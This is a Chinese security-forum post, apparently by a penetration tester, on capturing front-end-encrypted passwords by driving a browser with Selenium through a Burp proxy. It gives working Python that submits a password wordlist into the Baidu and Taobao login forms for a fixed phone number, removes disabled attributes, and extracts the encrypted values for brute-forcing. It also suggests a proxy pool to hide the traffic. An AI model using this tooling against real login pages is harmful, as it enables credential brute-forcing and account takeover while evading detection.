0x01、起因

前段时间身为菜鸡的我也终于接到了一个内网任务,由于没有经验渗透过程中花了很多不必要的时间,导致后期在向目标域移动的时候授权time up了。

之中就有一个前端密码加密的OA,js基础只限于alert(1)的我第一次走运地找到了加密函数,兴致勃勃地照着c0ny1师傅的插件https://github.com/c0ny1/jsEncrypter走了流程,从找参与加密的js文件到最终运行一路踩坑,还是因为一段奇怪的字符出了bug,我又不会调。

最后还是用selenium执行js解决的,整个过程两小时。

0x02、痛定思痛

这一次尚且幸运找到了加密函数,下次找不到了怎么办?用selenium一路点过来,单线程速度慢,多线程内存CPU开销大,再有个http资源加载缓慢,渲染缓慢,标签定位改变,因为爆破流量明显被ban IP,想想就找其他地点去了。

痛定思痛,想到了刚学web的时候,burpsuite开了拦截还怪网页为什么不动,然后发现http history里一列request都卡在那里,一个idea就冒了出来:用selenium设置请求超时,自动换密码点登陆把request发到burp拦截,加密好的密码列表不就有了吗?

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.common.exceptions import TimeoutException

chrome_driver = "E:\Python36\chromedriver.exe"
chromeOptions = webdriver.ChromeOptions()
chromeOptions.add_argument('--proxy-server=http://127.0.0.1:8080')
driver = webdriver.Chrome(chrome_driver, chrome_options=chromeOptions)
driver.set_page_load_timeout(0.1)#设置请求超时,直接timeout,不等待,不重载
driver.set_script_timeout(0.1)

while(1):
    name = input("Are you really?[Y|N]")
    if (name == 'Y') or (name == 'y'):
        break

with open('E:/exploit/dictionary/fuzzDicts/1/pwd.txt','r',encoding='utf8')as f:
    lines = f.readlines()

#百度
##usr_css_selector = '#TANGRAM__PSP_10__userName'
##pwd_css_selector = '#TANGRAM__PSP_10__password'
##submit_css_selector = '#TANGRAM__PSP_10__submit'

#淘宝
usr_css_selector = '#fm-login-id'
pwd_css_selector = '#fm-login-password'
submit_css_selector = '#login-form > div.fm-btn > button'

print('start')

for i in lines[::-1]:#对顺序
    try:
        driver.execute_script('''
        var usr = document.querySelector(\''''+usr_css_selector+'''\');
        var pwd = document.querySelector(\''''+pwd_css_selector+'''\');
        var submit = document.querySelector(\''''+submit_css_selector+'''\');
        usr.value = '18888888888';
        pwd.value = \'''' + i.strip() +'''\';
        submit.removeAttribute('disabled')
        submit.click();
        ''')#removeAttribute去掉disabled、readonly、onfocus=this.blur()等属性,让标签可选中
    except TimeoutException:
        pass

print('end')

试试百度


保存request,处理一下,就是加密好的密码列表

import re

file_path = 'C:/Users/liulangmao/Desktop/bbbbbbb'
with open(file_path,'r',encoding='utf8')as f:
    lines = f.readlines()

with open(file_path+'_crypto','w',encoding='utf8')as f:
    for i in lines:
        if 'username=18888888888&password=' in i:
            crypto_pwd = i.strip().split('username=18888888888&password=')[1].split('&mem_pass=')[0]
            f.write(crypto_pwd + '\n')


再试试淘宝,淘宝的login请求包在burp里不drop的话,登陆按钮会等待一段时间才能按,看标签并未发现disable等属性。一直点drop也不是办法,这时又想到了给burp加socks代理时默认是错误主机127.0.0.,相当于直接drop request了,不会像设置错误端口时一样等待一段时间才会timeout。


勾选之后就不用拦截request了。


当然淘宝的动态key和滑块我尚未涉略。

最后附一张获取代码中css_selector参数的图。

流程:打开burp -> 设置socks代理127.0.0. -> 运行_selenium.py -> 确认请求包能到达burp -> 输入Y -> 保存并处理request

按这个流程操作,输入Y到映射出密码列表只需要几秒,还不用找加密函数。接个代理池,流量就不会那么明显了。

_selenium.py (0.002 MB) 下载附件
operate.py (0.0 MB) 下载附件
点击收藏 | 0 关注 | 1
登录 后跟帖